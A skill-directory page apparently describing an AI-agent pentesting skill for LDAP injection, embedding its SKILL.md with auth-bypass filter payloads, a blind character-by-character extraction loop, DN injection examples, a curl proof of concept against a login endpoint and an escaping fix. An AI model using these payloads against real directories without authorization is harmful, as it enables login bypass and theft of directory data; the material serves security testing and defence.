Skip to content
Skillpedia
Security6.5k Β· #14068

ldapi

What it does

This skill explains how user input can change LDAP directory search filters. It is for security testers checking login forms and directory lookups.

When to use it

  • βœ“When a login form checks users against a company directory such as LDAP.
  • βœ“When a search page builds directory queries from user input.
  • βœ“When you want to check whether a filter can be changed to skip the password check.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan you check whether the login form for our company directory can be bypassed with special characters?”

5 new skills a week. 1 minute to read.

How it works

The agent sends characters that change the structure of the directory filter and watches for changes in results, which can also reveal data one character at a time.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

LDAP Injection

LDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not). User input concatenated into the filter string = injection.

1. Auth bypass

# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"

# Payload β€” comment-out rest of filter via wildcard
user = "*"
pw   = "*"
# β†’ (&(uid=*)(userPassword=*)) β†’ matches first user, often admin

user = "admin)(|(uid=*"
pw   = "anything"
# β†’ (&(uid=admin)(|(uid=*))(userPassword=anything))
# β†’ matches admin OR anyone (second clause), password check ignored

2. Blind extraction

# Boolean-blind: probe each char via wildcard match
for c in string.printable:
    payload = f"*)(uid=admin)(description={c}*)"
    if "found" in response:
        # next char is c

3. DN injection

# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins"  β†’ cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)

4. Common vulnerable apps

  • Custom auth backends w/ python-ldap or ldap3 lib direct-format
  • Legacy Java apps w/ JNDI w/o escaping
  • DokuWiki / older intranets

5. Tools

  • Manual via Burp Repeater (most cases need careful crafting)
  • ldapsearch to verify directly once you have any cred
  • Burp Intruder w/ payloads from _corpus/payloads/LDAP Injection/

6. PoC

curl -s -X POST $TARGET/login -d 'user=*&pass=*'   # if logged in β†’ bug

7. Severity

Bug Severity
Auth bypass via wildcard Critical 9.8
Blind extract of full LDAP directory Critical 9.0
DN injection enabling group escalation High 8.0

8. Defender

import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')

Cross-references

  • Upstream catalog: skills/_corpus/payloads/LDAP Injection/
  • AD attack patterns (different layer): skills/ad/SKILL.md
FAQ

What can LDAP injection allow?

The skill says it can bypass login checks and extract data by testing one character at a time.

Does it cover distinguished names?

Yes, it covers DN injection when the name is built from user input.

Which apps does it mention?

It mentions custom login code, legacy Java apps and older intranet wikis as common targets.

Details

Original description by the author

LDAP injection β€” auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14068
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills